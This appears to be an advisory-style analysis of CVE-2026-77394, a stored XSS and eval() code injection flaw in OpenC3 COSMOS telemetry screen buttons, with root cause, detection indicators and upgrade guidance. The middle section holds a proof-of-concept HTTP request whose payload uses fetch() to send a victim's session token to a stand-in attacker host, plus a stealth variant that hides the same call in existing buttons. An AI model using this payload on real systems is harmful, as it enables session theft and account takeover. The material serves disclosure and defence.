CVE-2026-77394: 
JavaScript 취약성 분석 및 완화

CVE-2026-77394 is a stored, cross-user Cross-Site Scripting (XSS) vulnerability in OpenC3 COSMOS affecting the Telemetry screen BUTTON widget. An authenticated user with system_set permission can embed arbitrary JavaScript in a shared telemetry screen via POST /openc3-api/screen; when another operator views the screen and clicks the button, the injected script executes via eval() in the victim's authenticated browser session. The vulnerability affects OpenC3 COSMOS versions >= 5.0.6 and <= 7.2.1 (npm package @openc3/vue-common), and is fixed in version 7.3.0. It carries a CVSS v3.1 base score of 7.6 (High) (GitHub Advisory). The advisory was published by the reporter (Arpit Kubadia) on September 3, 2026, and added to the GitHub Advisory Database on September 23, 2026 (GitHub Advisory).

The root cause is a combination of CWE-79 (Stored XSS) and CWE-94 (Code Injection via eval()). The ScreensController#create endpoint (openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43) persists raw screen text after an authorization check for system_set permission, with no sanitization of the screen body. The sink is in ButtonWidget.vue (line 109), where the BUTTON widget's second parameter (parameters[1]) is stored as this.eval and executed via const result = eval(lines[i].trim()) on every button click — directly evaluating attacker-controlled strings in the victim's browser context. The permissive Content Security Policy (script-src 'unsafe-inline' 'unsafe-eval') in openc3-traefik/traefik.yaml is a contributing factor that prevents the browser from blocking the injected script, though it is not the primary root cause. Because screens are stored per-scope and rendered to all users who open them in Telemetry Viewer, a screen saved by one user executes in every other user's browser (GitHub Advisory, Security Advisory).

Successful exploitation allows an attacker to exfiltrate the victim's session token (localStorage.openc3Token), which is a bearer credential accepted in the Authorization header, enabling full session and account takeover. The injected script runs in the COSMOS origin with the victim's privileges, allowing the attacker to act as the victim against the entire COSMOS API. For victims with script execution privileges, the attack chain extends to server-side code execution via the Script Runner, making this a potential escalation path to full system compromise. The impact is persistent and cross-user: a single malicious screen modification compromises every operator who subsequently views and interacts with it, with no visible behavioral change if an existing operational screen is overwritten (GitHub Advisory).

A proof-of-concept exploit with step-by-step HTTP requests and UI sequences is publicly available in the official security advisory, confirmed to successfully exfiltrate live session tokens (ses_…) to an attacker-controlled host (Security Advisory). Exploitation requires authentication with system_set permission and victim interaction (clicking the malicious button), making it non-automatable. The EPSS score is 0.0 and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The vulnerability is not listed in the CISA KEV catalog. The NVD SSVC assessment classifies exploitation status as "poc" with partial technical impact (Feedly).

1. Authenticate and obtain a session token: Log in to OpenC3 COSMOS and obtain a valid Authorization: ses_<YOUR_TOKEN> bearer token with system_set permission.

2. Craft a malicious screen payload: Construct a JSON payload embedding arbitrary JavaScript in a BUTTON widget's action parameter. Example minimal PoC:

POST /openc3-api/screen HTTP/1.1
Host: <host>:2900
Content-Type: application/json
Authorization: ses_<YOUR_TOKEN>

{"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON 'Refresh' 'fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\n"}

3. Store the malicious screen: Send the POST request to /openc3-api/screen. The server responds HTTP 200 with body true, persisting the unsanitized screen text.

4. (Stealth variant) Overwrite an existing operational screen: Instead of creating a new screen, overwrite a screen operators already use (e.g., INST COMMANDING). Append ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token)) to an existing button's action using the ;; delimiter. Operators see no behavioral change and the original command still executes.

5. Wait for victim interaction: The victim navigates to Telemetry Viewer (http://<host>:2900/tools/tlmviewer), selects the target and screen, and clicks the button (e.g., "Refresh" or the existing operational button).

6. JavaScript executes via eval() in victim's session: ButtonWidget.vue calls eval(lines[i].trim()) on the attacker-controlled string. The permissive CSP (unsafe-eval) does not block execution. The script runs in the COSMOS origin with full access to localStorage.

7. Token exfiltration and account takeover: The fetch() call sends the victim's localStorage.openc3Token to the attacker's server. The attacker uses this token as Authorization: ses_<VICTIM_TOKEN> to impersonate the victim against the COSMOS API.

8. Escalate to server-side code execution (if applicable): If the victim has script execution privileges, the attacker uses the stolen token to invoke the Script Runner and achieve server-side RCE (Security Advisory, GitHub Advisory).

• Network: Unexpected outbound HTTP/HTTPS requests from operator browsers to external or unknown hosts with query parameters containing URL-encoded tokens (e.g., ?t=ses_...); unusual fetch() calls originating from the COSMOS web application origin (http://<host>:2900).
• Logs: API access logs showing POST /openc3-api/screen requests with screen text containing JavaScript keywords (fetch, localStorage, eval, document.cookie) in the text field; repeated screen saves to existing operational screens (e.g., INST/COMMANDING) from unexpected users or at unusual times.
• Application State: Shared telemetry screens with BUTTON widget actions containing JavaScript code beyond standard COSMOS API calls (e.g., api.cmd(...), runScript(...)); screen definitions containing ;; delimiters appending additional code to existing button actions.
• Authentication: Unexpected API requests authenticated with a legitimate user's bearer token (ses_...) from unusual IP addresses or user agents, indicating session token theft and reuse (Security Advisory).

Upgrade OpenC3 COSMOS to version 7.3.0 or later, which replaces the unsafe eval() in ButtonWidget.vue with a sandboxed iframe execution model (runButtonScript) that has no access to localStorage, cookies, or the parent DOM (v7.3.0 Release, Fix PR #3560). The fix also tightens the CSP by removing 'unsafe-inline' and 'unsafe-eval' from script-src in all Traefik configuration files and adding base-uri 'self' and frame-ancestors 'self'. As interim mitigations for deployments that cannot immediately upgrade: restrict system_set permission to only fully trusted users; audit existing shared screens for suspicious BUTTON widget actions containing JavaScript beyond standard COSMOS API calls; and monitor POST /openc3-api/screen API calls for unexpected content (GitHub Advisory).

The vulnerability was reported by security researcher Arpit Kubadia and published by OpenC3 maintainer jmthomas on September 3, 2026, with the fix merged via PR #3560 by ryanmelt on July 14, 2026 (prior to public disclosure). The maintainer's review comment noted the sandbox approach was "mostly black magic" but confirmed it accomplished the security goal through testing (Fix PR #3560). No broader media coverage or significant social media discussion has been identified at this time.